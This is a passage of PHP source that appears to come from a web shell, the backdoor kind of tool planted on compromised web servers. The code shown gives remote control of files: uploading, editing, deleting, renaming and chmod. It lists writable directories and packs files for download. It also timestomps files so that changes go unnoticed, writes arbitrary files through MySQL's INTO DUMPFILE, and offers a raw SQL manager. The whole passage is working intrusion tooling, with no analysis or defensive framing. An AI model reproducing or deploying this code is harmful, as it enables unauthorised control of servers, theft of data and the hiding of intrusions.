'failed'));\r\n\t\t\t@chmod(\$mkdirs,0755);\r\n\t\t}\r\n\t}\r\n\r\n\t// Upload file\r\n\telseif (\$doupfile) {\r\n\t\tm('File upload '.(@copy(\$_FILES['uploadfile']['tmp_name'],\$uploaddir.'/'.\$_FILES['uploadfile']['name']) ? 'success' : 'failed'));\r\n\t}\r\n\r\n\t// Edit file\r\n\telseif (\$editfilename && \$filecontent) {\r\n\t\t\$fp = @fopen(\$editfilename,'w');\r\n\t\tm('Save file '.(@fwrite(\$fp,\$filecontent) ? 'success' : 'failed'));\r\n\t\t@fclose(\$fp);\r\n\t}\r\n\r\n\t// Modify\r\n\telseif (\$pfile && \$newperm) {\r\n\t\tif (!file_exists(\$pfile)) {\r\n\t\t\tm('The original file does not exist');\r\n\t\t} else {\r\n\t\t\t\$newperm = base_convert(\$newperm,8,10);\r\n\t\t\tm('Modify file attributes '.(@chmod(\$pfile,\$newperm) ? 'success' : 'failed'));\r\n\t\t}\r\n\t}\r\n\r\n\t// Rename\r\n\telseif (\$oldname && \$newfilename) {\r\n\t\t\$nname = \$nowpath.\$newfilename;\r\n\t\tif (file_exists(\$nname) || !file_exists(\$oldname)) {\r\n\t\t\tm(\$nname.' has already existed or original file does not exist');\r\n\t\t} else {\r\n\t\t\tm(basename(\$oldname).' renamed '.basename(\$nname).(@rename(\$oldname,\$nname) ? ' success' : 'failed'));\r\n\t\t}\r\n\t}\r\n\r\n\t// Copu\r\n\telseif (\$sname && \$tofile) {\r\n\t\tif (file_exists(\$tofile) || !file_exists(\$sname)) {\r\n\t\t\tm('The goal file has already existed or original file does not exist');\r\n\t\t} else {\r\n\t\t\tm(basename(\$tofile).' copied '.(@copy(\$sname,\$tofile) ? basename(\$tofile).' success' : 'failed'));\r\n\t\t}\r\n\t}\r\n\r\n\t// File exit\r\n\telseif (\$curfile && \$tarfile) {\r\n\t\tif (!@file_exists(\$curfile) || !@file_exists(\$tarfile)) {\r\n\t\t\tm('The goal file has already existed or original file does not exist');\r\n\t\t} else {\r\n\t\t\t\$time = @filemtime(\$tarfile);\r\n\t\t\tm('Modify file the last modified '.(@touch(\$curfile,\$time,\$time) ? 'success' : 'failed'));\r\n\t\t}\r\n\t}\r\n\r\n\t// Date\r\n\telseif (\$curfile && \$year && \$month && \$day && \$hour && \$minute && \$second) {\r\n\t\tif (!@file_exists(\$curfile)) {\r\n\t\t\tm(basename(\$curfile).' does not exist');\r\n\t\t} else {\r\n\t\t\t\$time = strtotime(\"\$year-\$month-\$day \$hour:\$minute:\$second\");\r\n\t\t\tm('Modify file the last modified '.(@touch(\$curfile,\$time,\$time) ? 'success' : 'failed'));\r\n\t\t}\r\n\t}\r\n\r\n\t// Download\r\n\telseif(\$doing == 'downrar') {\r\n\t\tif (\$dl) {\r\n\t\t\t\$dfiles='';\r\n\t\t\tforeach (\$dl as \$filepath => \$value) {\r\n\t\t\t\t\$dfiles.=\$filepath.',';\r\n\t\t\t}\r\n\t\t\t\$dfiles=substr(\$dfiles,0,strlen(\$dfiles)-1);\r\n\t\t\t\$dl=explode(',',\$dfiles);\r\n\t\t\t\$zip=new PHPZip(\$dl);\r\n\t\t\t\$code=\$zip->out;\r\n\t\t\theader('Content-type: application/octet-stream');\r\n\t\t\theader('Accept-Ranges: bytes');\r\n\t\t\theader('Accept-Length: '.strlen(\$code));\r\n\t\t\theader('Content-Disposition: attachment;filename='.\$_SERVER['HTTP_HOST'].'sql.gz');\r\n\t\t\techo \$code;\r\n\t\t\texit;\r\n\t\t} else {\r\n\t\t\tm('Please select file(s)');\r\n\t\t}\r\n\t}\r\n\r\n\t// Delete file\r\n\telseif(\$doing == 'delfiles') {\r\n\t\tif (\$dl) {\r\n\t\t\t\$dfiles='';\r\n\t\t\t\$succ = \$fail = 0;\r\n\t\t\tforeach (\$dl as \$filepath => \$value) {\r\n\t\t\t\tif (@unlink(\$filepath)) {\r\n\t\t\t\t\t\$succ++;\r\n\t\t\t\t} else {\r\n\t\t\t\t\t\$fail++;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tm('Deleted file have finished??choose '.count(\$dl).' success '.\$succ.' fail '.\$fail);\r\n\t\t} else {\r\n\t\t\tm('Please select file(s)');\r\n\t\t}\r\n\t}\r\n\r\n\t// Function Newdir\r\n\tformhead(array('name'=>'createdir'));\r\n\tmakehide('newdirname');\r\n\tmakehide('dir',\$nowpath);\r\n\tformfoot();\r\n\tformhead(array('name'=>'fileperm'));\r\n\tmakehide('newperm');\r\n\tmakehide('pfile');\r\n\tmakehide('dir',\$nowpath);\r\n\tformfoot();\r\n\tformhead(array('name'=>'copyfile'));\r\n\tmakehide('sname');\r\n\tmakehide('tofile');\r\n\tmakehide('dir',\$nowpath);\r\n\tformfoot();\r\n\tformhead(array('name'=>'rename'));\r\n\tmakehide('oldname');\r\n\tmakehide('newfilename');\r\n\tmakehide('dir',\$nowpath);\r\n\tformfoot();\r\n\tformhead(array('name'=>'fileopform'));\r\n\tmakehide('action');\r\n\tmakehide('opfile');\r\n\tmakehide('dir');\r\n\tformfoot();\r\n\r\n\t\$free = @disk_free_space(\$nowpath);\r\n\t!\$free && \$free = 0;\r\n\t\$all = @disk_total_space(\$nowpath);\r\n\t!\$all && \$all = 0;\r\n\t\$used = \$all-\$free;\r\n\t\$used_percent = @round(100/(\$all/\$free),2);\r\n\tp('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount(\$free).'</font> of <font color=red>'.sizecount(\$all).'</font> (<font color=red>'.\$used_percent.'</font>%)</font>');\r\n\r\n?>\r\n<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"margin:10px 0;\">\r\n <form action=\"\" method=\"post\" id=\"godir\" name=\"godir\">\r\n <tr>\r\n <td nowrap>Current Directory (<?php echo \$dir_writeable;?>, <?php echo getChmod(\$nowpath);?>)</td>\r\n\t<td width=\"100%\"><input name=\"view_writable\" value=\"0\" type=\"hidden\" /><input class=\"input\" name=\"dir\" value=\"<?php echo \$nowpath;?>\" type=\"text\" style=\"width:100%;margin:0 8px;\"></td>\r\n <td nowrap><input class=\"bt\" value=\"GO\" type=\"submit\"></td>\r\n </tr>\r\n </form>\r\n</table>\r\n<script type=\"text/javascript\">\r\nfunction createdir(){\r\n\tvar newdirname;\r\n\tnewdirname = prompt('Please input the directory name:', '');\r\n\tif (!newdirname) return;\r\n\t\$('createdir').newdirname.value=newdirname;\r\n\t\$('createdir').submit();\r\n}\r\nfunction fileperm(pfile){\r\n\tvar newperm;\r\n\tnewperm = prompt('Current file:'+pfile+'\\nPlease input new attribute:', '');\r\n\tif (!newperm) return;\r\n\t\$('fileperm').newperm.value=newperm;\r\n\t\$('fileperm').pfile.value=pfile;\r\n\t\$('fileperm').submit();\r\n}\r\nfunction copyfile(sname){\r\n\tvar tofile;\r\n\ttofile = prompt('Original file:'+sname+'\\nPlease input object file (fullpath):', '');\r\n\tif (!tofile) return;\r\n\t\$('copyfile').tofile.value=tofile;\r\n\t\$('copyfile').sname.value=sname;\r\n\t\$('copyfile').submit();\r\n}\r\nfunction rename(oldname){\r\n\tvar newfilename;\r\n\tnewfilename = prompt('Former file name:'+oldname+'\\nPlease input new filename:', '');\r\n\tif (!newfilename) return;\r\n\t\$('rename').newfilename.value=newfilename;\r\n\t\$('rename').oldname.value=oldname;\r\n\t\$('rename').submit();\r\n}\r\nfunction dofile(doing,thefile,m){\r\n\tif (m && !confirm(m)) {\r\n\t\treturn;\r\n\t}\r\n\t\$('filelist').doing.value=doing;\r\n\tif (thefile){\r\n\t\t\$('filelist').thefile.value=thefile;\r\n\t}\r\n\t\$('filelist').submit();\r\n}\r\nfunction createfile(nowpath){\r\n\tvar filename;\r\n\tfilename = prompt('Please input the file name:', '');\r\n\tif (!filename) return;\r\n\topfile('editfile',nowpath + filename,nowpath);\r\n}\r\nfunction opfile(action,opfile,dir){\r\n\t\$('fileopform').action.value=action;\r\n\t\$('fileopform').opfile.value=opfile;\r\n\t\$('fileopform').dir.value=dir;\r\n\t\$('fileopform').submit();\r\n}\r\nfunction godir(dir,view_writable){\r\n\tif (view_writable) {\r\n\t\t\$('godir').view_writable.value=1;\r\n\t}\r\n\t\$('godir').dir.value=dir;\r\n\t\$('godir').submit();\r\n}\r\n</script>\r\n <?php\r\n\ttbhead();\r\n\tp('<form action=\"'.\$self.'\" method=\"POST\" enctype=\"multipart/form-data\"><tr class=\"alt1\"><td colspan=\"7\" style=\"padding:5px;\">');\r\n\tp('<div style=\"float:right;\"><input class=\"input\" name=\"uploadfile\" value=\"\" type=\"file\" /> <input class=\"\" name=\"doupfile\" value=\"Upload\" type=\"submit\" /><input name=\"uploaddir\" value=\"'.\$dir.'\" type=\"hidden\" /><input name=\"dir\" value=\"'.\$dir.'\" type=\"hidden\" /></div>');\r\n\tp('<a href=\"javascript:godir(\\''.\$_SERVER[\"DOCUMENT_ROOT\"].'\\');\">WebRoot</a>');\r\n\tif (\$view_writable) {\r\n\t\tp(' | <a href=\"javascript:godir(\\''.\$nowpath.'\\');\">View All</a>');\r\n\t} else {\r\n\t\tp(' | <a href=\"javascript:godir(\\''.\$nowpath.'\\',\\'1\\');\">View Writable</a>');\r\n\t}\r\n\tp(' | <a href=\"javascript:createdir();\">Create Directory</a> | <a href=\"javascript:createfile(\\''.\$nowpath.'\\');\">Create File</a>');\r\n\tif (IS_WIN && IS_COM) {\r\n\t\t\$obj = new COM('scripting.filesystemobject');\r\n\t\tif (\$obj && is_object(\$obj)) {\r\n\t\t\t\$DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');\r\n\t\t\tforeach(\$obj->Drives as \$drive) {\r\n\t\t\t\tif (\$drive->DriveType == 2) {\r\n\t\t\t\t\tp(' | <a href=\"javascript:godir(\\''.\$drive->Path.'/\\');\" title=\"Size:'.sizecount(\$drive->TotalSize).' Free:'.sizecount(\$drive->FreeSpace).' Type:'.\$DriveTypeDB[\$drive->DriveType].'\">'.\$DriveTypeDB[\$drive->DriveType].'('.\$drive->Path.')</a>');\r\n\t\t\t\t} else {\r\n\t\t\t\t\tp(' | <a href=\"javascript:godir(\\''.\$drive->Path.'/\\');\" title=\"Type:'.\$DriveTypeDB[\$drive->DriveType].'\">'.\$DriveTypeDB[\$drive->DriveType].'('.\$drive->Path.')</a>');\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tp('</td></tr></form>');\r\n\r\n\tp('<tr class=\"head\"><td> </td><td>Filename</td><td width=\"16%\">Last modified</td><td width=\"10%\">Size</td><td width=\"20%\">Chmod / Perms</td><td width=\"22%\">Action</td></tr>');\r\n\r\n\t// Get path\r\n\t\$dirdata=array();\r\n\t\$filedata=array();\r\n\r\n\tif (\$view_writable) {\r\n\t\t\$dirdata = GetList(\$nowpath);\r\n\t} else {\r\n\t\t// Open dir\r\n\t\t\$dirs=@opendir(\$dir);\r\n\t\twhile (\$file=@readdir(\$dirs)) {\r\n\t\t\t\$filepath=\$nowpath.\$file;\r\n\t\t\tif(@is_dir(\$filepath)){\r\n\t\t\t\t\$dirdb['filename']=\$file;\r\n\t\t\t\t\$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime(\$filepath));\r\n\t\t\t\t\$dirdb['dirchmod']=getChmod(\$filepath);\r\n\t\t\t\t\$dirdb['dirperm']=getPerms(\$filepath);\r\n\t\t\t\t\$dirdb['fileowner']=getUser(\$filepath);\r\n\t\t\t\t\$dirdb['dirlink']=\$nowpath;\r\n\t\t\t\t\$dirdb['server_link']=\$filepath;\r\n\t\t\t\t\$dirdb['client_link']=ue(\$filepath);\r\n\t\t\t\t\$dirdata[]=\$dirdb;\r\n\t\t\t} else {\r\n\t\t\t\t\$filedb['filename']=\$file;\r\n\t\t\t\t\$filedb['size']=sizecount(@filesize(\$filepath));\r\n\t\t\t\t\$filedb['mtime']=@date('Y-m-d H:i:s',filemtime(\$filepath));\r\n\t\t\t\t\$filedb['filechmod']=getChmod(\$filepath);\r\n\t\t\t\t\$filedb['fileperm']=getPerms(\$filepath);\r\n\t\t\t\t\$filedb['fileowner']=getUser(\$filepath);\r\n\t\t\t\t\$filedb['dirlink']=\$nowpath;\r\n\t\t\t\t\$filedb['server_link']=\$filepath;\r\n\t\t\t\t\$filedb['client_link']=ue(\$filepath);\r\n\t\t\t\t\$filedata[]=\$filedb;\r\n\t\t\t}\r\n\t\t}// while\r\n\t\tunset(\$dirdb);\r\n\t\tunset(\$filedb);\r\n\t\t@closedir(\$dirs);\r\n\t}\r\n\t@sort(\$dirdata);\r\n\t@sort(\$filedata);\r\n\t\$dir_i = '0';\r\n\tforeach(\$dirdata as \$key => \$dirdb){\r\n\t\tif(\$dirdb['filename']!='..' && \$dirdb['filename']!='.') {\r\n\t\t\t\$thisbg = bg();\r\n\t\t\tp('<tr class=\"fout\" onmouseover=\"this.className=\\'focus\\';\" onmouseout=\"this.className=\\'fout\\';\">');\r\n\t\t\tp('<td width=\"2%\" nowrap><font face=\"wingdings\" size=\"3\">0</font></td>');\r\n\t\t\tp('<td><a href=\"javascript:godir(\\''.\$dirdb['server_link'].'\\');\">'.\$dirdb['filename'].'</a></td>');\r\n\t\t\tp('<td nowrap>'.\$dirdb['mtime'].'</td>');\r\n\t\t\tp('<td nowrap>--</td>');\r\n\t\t\tp('<td nowrap>');\r\n\t\t\tp('<a href=\"javascript:fileperm(\\''.\$dirdb['server_link'].'\\');\">'.\$dirdb['dirchmod'].'</a> / ');\r\n\t\t\tp('<a href=\"javascript:fileperm(\\''.\$dirdb['server_link'].'\\');\">'.\$dirdb['dirperm'].'</a>'.\$dirdb['fileowner'].'</td>');\r\n\t\t\tp('<td nowrap><a href=\"javascript:dofile(\\'deldir\\',\\''.\$dirdb['server_link'].'\\',\\'Are you sure will delete '.\$dirdb['filename'].'? \\\\n\\\\nIf non-empty directory, will be delete all the files.\\')\">Del</a> | <a href=\"javascript:rename(\\''.\$dirdb['server_link'].'\\');\">Rename</a></td>');\r\n\t\t\tp('</tr>');\r\n\t\t\t\$dir_i++;\r\n\t\t} else {\r\n\t\t\tif(\$dirdb['filename']=='..') {\r\n\t\t\t\tp('<tr class=fout>');\r\n\t\t\t\tp('<td align=\"center\"><font face=\"Wingdings 3\" size=4>=</font></td><td nowrap colspan=\"5\"><a href=\"javascript:godir(\\''.getUpPath(\$nowpath).'\\');\">Parent Directory</a></td>');\r\n\t\t\t\tp('</tr>');\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tp('<tr bgcolor=\"green\" stlye=\"border-top:1px solid gray;border-bottom:1px solid gray;\"><td colspan=\"6\" height=\"5\"></td></tr>');\r\n\tp('<form id=\"filelist\" name=\"filelist\" action=\"'.\$self.'\" method=\"post\">');\r\n\tmakehide('action','file');\r\n\tmakehide('thefile');\r\n\tmakehide('doing');\r\n\tmakehide('dir',\$nowpath);\r\n\t\$file_i = '0';\r\n\tforeach(\$filedata as \$key => \$filedb){\r\n\t\tif(\$filedb['filename']!='..' && \$filedb['filename']!='.') {\r\n\t\t\t\$fileurl = str_replace(SA_ROOT,'',\$filedb['server_link']);\r\n\t\t\t\$thisbg = bg();\r\n\t\t\tp('<tr class=\"fout\" onmouseover=\"this.className=\\'focus\\';\" onmouseout=\"this.className=\\'fout\\';\">');\r\n\t\t\tp('<td width=\"2%\" nowrap><input type=\"checkbox\" value=\"1\" name=\"dl['.\$filedb['server_link'].']\"></td>');\r\n\t\t\tp('<td><a href=\"'.\$fileurl.'\" target=\"_blank\">'.\$filedb['filename'].'</a></td>');\r\n\t\t\tp('<td nowrap>'.\$filedb['mtime'].'</td>');\r\n\t\t\tp('<td nowrap>'.\$filedb['size'].'</td>');\r\n\t\t\tp('<td nowrap>');\r\n\t\t\tp('<a href=\"javascript:fileperm(\\''.\$filedb['server_link'].'\\');\">'.\$filedb['filechmod'].'</a> / ');\r\n\t\t\tp('<a href=\"javascript:fileperm(\\''.\$filedb['server_link'].'\\');\">'.\$filedb['fileperm'].'</a>'.\$filedb['fileowner'].'</td>');\r\n\t\t\tp('<td nowrap>');\r\n\t\t\tp('<a href=\"javascript:dofile(\\'downfile\\',\\''.\$filedb['server_link'].'\\');\">Down</a> | ');\r\n\t\t\tp('<a href=\"javascript:copyfile(\\''.\$filedb['server_link'].'\\');\">Copy</a> | ');\r\n\t\t\tp('<a href=\"javascript:opfile(\\'editfile\\',\\''.\$filedb['server_link'].'\\',\\''.\$filedb['dirlink'].'\\');\">Edit</a> | ');\r\n\t\t\tp('<a href=\"javascript:rename(\\''.\$filedb['server_link'].'\\');\">Rename</a> | ');\r\n\t\t\tp('<a href=\"javascript:opfile(\\'newtime\\',\\''.\$filedb['server_link'].'\\',\\''.\$filedb['dirlink'].'\\');\">Time</a>');\r\n\t\t\tp('</td></tr>');\r\n\t\t\t\$file_i++;\r\n\t\t}\r\n\t}\r\n\tp('<tr class=\"fout1\"><td align=\"center\"><input name=\"chkall\" value=\"on\" type=\"checkbox\" onclick=\"CheckAll(this.form)\" /></td><td><a href=\"javascript:dofile(\\'downrar\\');\">Packing download selected</a> - <a href=\"javascript:dofile(\\'delfiles\\');\">Delete selected</a></td><td colspan=\"4\" align=\"right\">'.\$dir_i.' directories / '.\$file_i.' files</td></tr>');\r\n\tp('</form></table>');\r\n}// end dir\r\n\r\nelseif (\$action == 'sqlfile') {\r\n\tif(\$doing==\"mysqlupload\"){\r\n\t\t\$file = \$_FILES['uploadfile'];\r\n\t\t\$filename = \$file['tmp_name'];\r\n\t\tif (file_exists(\$savepath)) {\r\n\t\t\tm('The goal file has already existed');\r\n\t\t} else {\r\n\t\t\tif(!\$filename) {\r\n\t\t\t\tm('Please choose a file');\r\n\t\t\t} else {\r\n\t\t\t\t\$fp=@fopen(\$filename,'r');\r\n\t\t\t\t\$contents=@fread(\$fp, filesize(\$filename));\r\n\t\t\t\t@fclose(\$fp);\r\n\t\t\t\t\$contents = bin2hex(\$contents);\r\n\t\t\t\tif(!\$upname) \$upname = \$file['name'];\r\n\t\t\t\tdbconn(\$dbhost,\$dbuser,\$dbpass,\$dbname,\$charset,\$dbport);\r\n\t\t\t\t\$result = q(\"SELECT 0x{\$contents} FROM mysql.user INTO DUMPFILE '\$savepath';\");\r\n\t\t\t\tm(\$result ? 'Upload success' : 'Upload has failed: '.mysql_error());\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n?>\r\n<script type=\"text/javascript\">\r\nfunction mysqlfile(doing){\r\n\tif(!doing) return;\r\n\t\$('doing').value=doing;\r\n\t\$('mysqlfile').dbhost.value=\$('dbinfo').dbhost.value;\r\n\t\$('mysqlfile').dbport.value=\$('dbinfo').dbport.value;\r\n\t\$('mysqlfile').dbuser.value=\$('dbinfo').dbuser.value;\r\n\t\$('mysqlfile').dbpass.value=\$('dbinfo').dbpass.value;\r\n\t\$('mysqlfile').dbname.value=\$('dbinfo').dbname.value;\r\n\t\$('mysqlfile').charset.value=\$('dbinfo').charset.value;\r\n\t\$('mysqlfile').submit();\r\n}\r\n</script>\r\n<?php\r\n\t!\$dbhost && \$dbhost = 'localhost';\r\n\t!\$dbuser && \$dbuser = 'root';\r\n\t!\$dbport && \$dbport = '3306';\r\n\t\$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');\r\n\tformhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));\r\n\tmakehide('action','sqlfile');\r\n\tp('<p>');\r\n\tp('DBHost:');\r\n\tmakeinput(array('name'=>'dbhost','size'=>20,'value'=>\$dbhost));\r\n\tp(':');\r\n\tmakeinput(array('name'=>'dbport','size'=>4,'value'=>\$dbport));\r\n\tp('DBUser:');\r\n\tmakeinput(array('name'=>'dbuser','size'=>15,'value'=>\$dbuser));\r\n\tp('DBPass:');\r\n\tmakeinput(array('name'=>'dbpass','size'=>15,'value'=>\$dbpass));\r\n\tp('DBName:');\r\n\tmakeinput(array('name'=>'dbname','size'=>15,'value'=>\$dbname));\r\n\tp('DBCharset:');\r\n\tmakeselect(array('name'=>'charset','option'=>\$charsets,'selected'=>\$charset));\r\n\tp('</p>');\r\n\tformfoot();\r\n\tp('<form action=\"'.\$self.'\" method=\"POST\" enctype=\"multipart/form-data\" name=\"mysqlfile\" id=\"mysqlfile\">');\r\n\tp('<h2>Upload file</h2>');\r\n\tp('<p><b>This operation the DB user must has FILE privilege</b></p>');\r\n\tp('<p>Save path(fullpath): <input class=\"input\" name=\"savepath\" size=\"45\" type=\"text\" /> Choose a file: <input class=\"input\" name=\"uploadfile\" type=\"file\" /> <a href=\"javascript:mysqlfile(\\'mysqlupload\\');\">Upload</a></p>');\r\n\tp('<h2>Download file</h2>');\r\n\tp('<p>File: <input class=\"input\" name=\"mysqldlfile\" size=\"115\" type=\"text\" /> <a href=\"javascript:mysqlfile(\\'mysqldown\\');\">Download</a></p>');\r\n\tmakehide('dbhost');\r\n\tmakehide('dbport');\r\n\tmakehide('dbuser');\r\n\tmakehide('dbpass');\r\n\tmakehide('dbname');\r\n\tmakehide('charset');\r\n\tmakehide('doing');\r\n\tmakehide('action','sqlfile');\r\n\tp('</form>');\r\n}\r\n\r\nelseif (\$action == 'sqladmin') {\r\n\t!\$dbhost && \$dbhost = 'localhost';\r\n\t!\$dbuser && \$dbuser = 'root';\r\n\t!\$dbport && \$dbport = '3306';\r\n\t\$dbform = '<input type=\"hidden\" id=\"connect\" name=\"connect\" value=\"1\" />';\r\n\tif(isset(\$dbhost)){\r\n\t\t\$dbform .= \"<input type=\\\"hidden\\\" id=\\\"dbhost\\\" name=\\\"dbhost\\\" value=\\\"\$dbhost\\\" />\\n\";\r\n\t}\r\n\tif(isset(\$dbuser)) {\r\n\t\t\$dbform .= \"<input type=\\\"hidden\\\" id=\\\"dbuser\\\" name=\\\"dbuser\\\" value=\\\"\$dbuser\\\" />\\n\";\r\n\t}\r\n\tif(isset(\$dbpass)) {\r\n\t\t\$dbform .= \"<input type=\\\"hidden\\\" id=\\\"dbpass\\\" name=\\\"dbpass\\\" value=\\\"\$dbpass\\\" />\\n\";\r\n\t}\r\n\tif(isset(\$dbport)) {\r\n\t\t\$dbform .= \"<input type=\\\"hidden\\\" id=\\\"dbport\\\" name=\\\"dbport\\\" value=\\\"\$dbport\\\" />\\n\";\r\n\t}\r\n\tif(isset(\$dbname)) {\r\n\t\t\$dbform .= \"<input type=\\\"hidden\\\" id=\\\"dbname\\\" name=\\\"dbname\\\" value=\\\"\$dbname\\\" />\\n\";\r\n\t}\r\n\tif(isset(\$charset)) {\r\n\t\t\$dbform .= \"<input type=\\\"hidden\\\" id=\\\"charset\\\" name=\\\"charset\\\" value=\\\"\$charset\\\" />\\n\";\r\n\t}\r\n\r\n\tif (\$doing == 'backupmysql' && \$saveasfile) {\r\n\t\tif (!\$table) {\r\n\t\t\tm('Please choose the table');\r\n\t\t} else {\r\n\t\t\tdbconn(\$dbhost,\$dbuser,\$dbpass,\$dbname,\$charset,\$dbport);\r\n\t\t\t\$table = array_flip(\$table);\r\n\t\t\t\$fp = @fopen(\$path,'w');\r\n\t\t\tif (\$fp) {\r\n\t\t\t\t\$result = q('SHOW tables');\r\n\t\t\t\tif (!\$result) p('<h2>'.mysql_error().'</h2>');\r\n\t\t\t\t\$mysqldata = '';\r\n\t\t\t\twhile (\$currow = mysql_fetch_array(\$result)) {\r\n\t\t\t\t\tif (isset(\$table[\$currow[0]])) {\r\n\t\t\t\t\t\tsqldumptable(\$currow[0], \$fp);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tfclose(\$fp);\r\n\t\t\t\t\$fileurl = str_replace(SA_ROOT,'',\$path);\r\n\t\t\t\tm('Database has success backup to <a href=\"'.\$fileurl.'\" target=\"_blank\">'.\$path.'</a>');\r\n\t\t\t\tmysql_close();\r\n\t\t\t} else {\r\n\t\t\t\tm('Backup failed');\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif (\$insert && \$insertsql) {\r\n\t\t\$keystr = \$valstr = \$tmp = '';\r\n\t\tforeach(\$insertsql as \$key => \$val) {\r\n\t\t\tif (\$val) {\r\n\t\t\t\t\$keystr .= \$tmp.\$key;\r\n\t\t\t\t\$valstr .= \$tmp.\"'\".addslashes(\$val).\"'\";\r\n\t\t\t\t\$tmp = ',';\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (\$keystr && \$valstr) {\r\n\t\t\tdbconn(\$dbhost,\$dbuser,\$dbpass,\$dbname,\$charset,\$dbport);\r\n\t\t\tm(q(\"INSERT INTO \$tablename (\$keystr) VALUES (\$valstr)\") ? 'Insert new record of success' : mysql_error());\r\n\t\t}\r\n\t}\r\n\tif (\$update && \$insertsql && \$base64) {\r\n\t\t\$valstr = \$tmp = '';\r\n\t\tforeach(\$insertsql as \$key => \$val) {\r\n\t\t\t\$valstr .= \$tmp.\$key.\"='\".addslashes(\$val).\"'\";\r\n\t\t\t\$tmp = ',';\r\n\t\t}\r\n\t\tif (\$valstr) {\r\n\t\t\t\$where = base64_decode(\$base64);\r\n\t\t\tdbconn(\$dbhost,\$dbuser,\$dbpass,\$dbname,\$charset,\$dbport);\r\n\t\t\tm(q(\"UPDATE \$tablename SET \$valstr WHERE \$where LIMIT 1\") ? 'Record updating' : mysql_error());\r\n\t\t}\r\n\t}\r\n\tif (\$doing == 'del' && \$base64) {\r\n\t\t\$where = base64_decode(\$base64);\r\n\t\t\$delete_sql = \"DELETE FROM \$tablename WHERE \$where\";\r\n\t\tdbconn(\$dbhost,\$dbuser,\$dbpass,\$dbname,\$charset,\$dbport);\r\n\t\tm(q(\"DELETE FROM \$tablename WHERE \$where\") ? 'Deletion record of success' : mysql_error());\r\n\t}\r\n\r\n\tif (\$tablename && \$doing == 'drop') {\r\n\t\tdbconn(\$dbhost,\$dbuser,\$dbpass,\$dbname,\$charset,\$dbport);\r\n\t\tif (q(\"DROP TABLE \$tablename\")) {\r\n\t\t\tm('Drop table of success');\r\n\t\t\t\$tablename = '';\r\n\t\t} else {\r\n\t\t\tm(mysql_error());\r\n\t\t}\r\n\t}\r\n\r\n\t\$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');\r\n\r\n\tformhead(array('title'=>'MYSQL Manager'));\r\n\tmakehide('action','sqladmin');\r\n\tp('<p>');\r\n\tp('DBHost:');\r\n\tmakeinput(array('name'=>'dbhost','size'=>20,'value'=>\$dbhost));\r\n\tp(':');\r\n\tmakeinput(array('name'=>'dbport','size'=>4,'value'=>\$dbport));\r\n\tp('DBUser:');\r\n\tmakeinput(array('name'=>'dbuser','size'=>15,'value'=>\$dbuser));\r\n\tp('DBPass:');\r\n\tmakeinput(array('name'=>'dbpass','size'=>15,'value'=>\$dbpass));\r\n\tp('DBCharset:');\r\n\tmakeselect(array('name'=>'charset','option'=>\$charsets,'selected'=>\$charset));\r\n\tmakeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));\r\n\tp('</p>');\r\n\tformfoot();\r\n?>\r\n<script type=\"text/javascript\">\r\nfunction editrecord(action, base64, tablename){\r\n\tif (action == 'del') {\r\n\t\tif (!confirm('Is or isn\\'t deletion record?')) return;\r\n\t}\r\n\t\$('recordlist').doing.value=action;\r\n\t\$('recordlist').base64.value=base64;\r\n\t\$('recordlist').tablename.value=tablename;\r\n\t\$('recordlist').submit();\r\n}\r\nfunction moddbname(dbname) {\r\n\tif(!dbname) return;\r\n\t\$('setdbname').dbname.value=dbname;\r\n\t\$('setdbname').submit();\r\n}\r\nfunction settable(tablename,doing,page) {\r\n\tif(!tablename) return;\r\n\tif (doing) {\r\n\t\t\$('settable').doing.value=doing;\r\n\t}\r\n\tif (page) {\r\n\t\t\$('settable').page.value=page;\r\n\t}\r\n\t\$('settable').tablename.value=tablename;\r\n\t\$('settable').submit();\r\n}\r\n</script>\r\n<?php\r\n\t// SQL\r\n\tformhead(array('name'=>'recordlist'));\r\n\tmakehide('doing');\r\n\tmakehide('action','sqladmin');\r\n\tmakehide('base64');\r\n\tmakehide('tablename');\r\n\tp(\$dbform);\r\n\tformfoot();\r\n\r\n\t// Data\r\n\tformhead(array('name'=>'setdbname'));\r\n\tmakehide('action','sqladmin');\r\n\tp(\$dbform);\r\n\tif (!\$dbname) {\r\n\t\tmakehide('dbname');\r\n\t}\r\n\tformfoot();\r\n\r\n\r\n\tformhead(array('name'=>'settable'));\r\n\tmakehide('action','sqladmin');\r\n\tp(\$dbform);\r\n\tmakehide('tablename');\r\n\tmakehide('page',\$page);\r\n\tmakehide('doing');\r\n\tformfoot();\r\n\r\n\t\$cachetables = array();\r\n\t\$pagenum = 30;\r\n\t\$page = intval(\$page);\r\n\tif(\$page) {\r\n\t\t\$start_limit = (\$page - 1) * \$pagenum;\r\n\t} else {\r\n\t\t\$start_limit = 0;\r\n\t\t\$page = 1;\r\n\t}\r\n\tif (isset(\$dbhost) && isset(\$dbuser) && isset(\$dbpass) && isset(\$connect)) {\r\n\t\tdbconn(\$dbhost, \$dbuser, \$dbpass, \$dbname, \$charset, \$dbport);\r\n\t\t// get mysql server\r\n\t\t\$mysqlver = mysql_get_server_info();\r\n\t\tp('<p>MySQL '.\$mysqlver.' running in '.\$dbhost.' as '.\$dbuser.'@'.\$dbhost.'</p>');\r\n\t\t\$highver = \$mysqlver > '4.1' ? 1 : 0;\r\n\r\n\t\t// Show database\r\n\t\t\$query = q(\"SHOW DATABASES\");\r\n\t\t\$dbs = array();\r\n\t\t\$dbs[] = '-- Select a database --';\r\n\t\twhile(\$db = mysql_fetch_array(\$query)) 